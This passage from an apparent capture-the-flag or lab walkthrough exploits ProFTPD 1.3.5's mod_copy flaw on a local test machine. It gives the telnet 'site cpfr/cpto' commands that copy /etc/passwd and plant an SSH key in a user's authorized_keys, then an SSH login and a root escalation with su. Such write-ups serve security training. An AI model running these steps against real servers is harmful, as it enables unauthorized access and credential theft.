so we give it a try and it was a success. Using this vulnerability, we can also cross-check the user by coping “passwd” into “\/smbdata”.<\/p>\n
telnet 192.168.56.3 2121\r\nsite help\r\ncpfr \/etc\/passwd\r\ncpto \/smbdata\/passwd_cpy<\/pre>\n<\/p>\n
Exploit<\/h3>\n
In order to get a shell, we will create a ssh key pair by running ssh-keygen.Put the public key i.e. “id_rsa.pub\/authorized_keys” to smb share “smbdata”.Copy the “authorized_keys” to “\/home\/smbuser\/.ssh\/” user “ProFTPD” Mod_copy Vulnerability.<\/p>\n
<\/p>\n
Then copied the id_rsa.pub to mount position and transfer the key to \/smbuser\/.ssh\/authorized_keys. Using ProFtpd 1.3.5 modcopy vulnerability on port 2121.<\/p>\n
ssh-key\r\ncp \/root\/.ssh\/id_rsa.pub \/tmp\/mnt\r\ntelnet 192.168.56.3 2121\r\nsite help\r\nsite cpfr \/smbdata\/id_rsa.pub\r\nsite cpto \/home\/smbuser\/.ssh\/authorized_keys\r\nquit<\/pre>\n<\/p>\n
Now getting ssh connection with the key generated earlier<\/p>\n
ssh -i id_rsa smbuser@192.168.56.3\r\nid\r\nhostname\r\nuname -a<\/pre>\n<\/p>\n
YEHHH!!!!!!!! Got the shell.<\/p>\n
Privilege Escalation<\/h3>\n
On enumerating, we found there are several ways to get the root like a vulnerable kernel but we have a password which we got before. So lets try this<\/p>\n
su root\r\ncd\r\ncat proof.txt\r\nid\r\nhostname\r\nuname -a<\/pre>\n<\/p>\n
OR we can go for a kernel exploit like before.<\/p>\n
<\/p>\n
we transfer the exploit to the server and run exploit.<\/p>\n
<\/p>\n
WOOOO..!!!<\/p>\n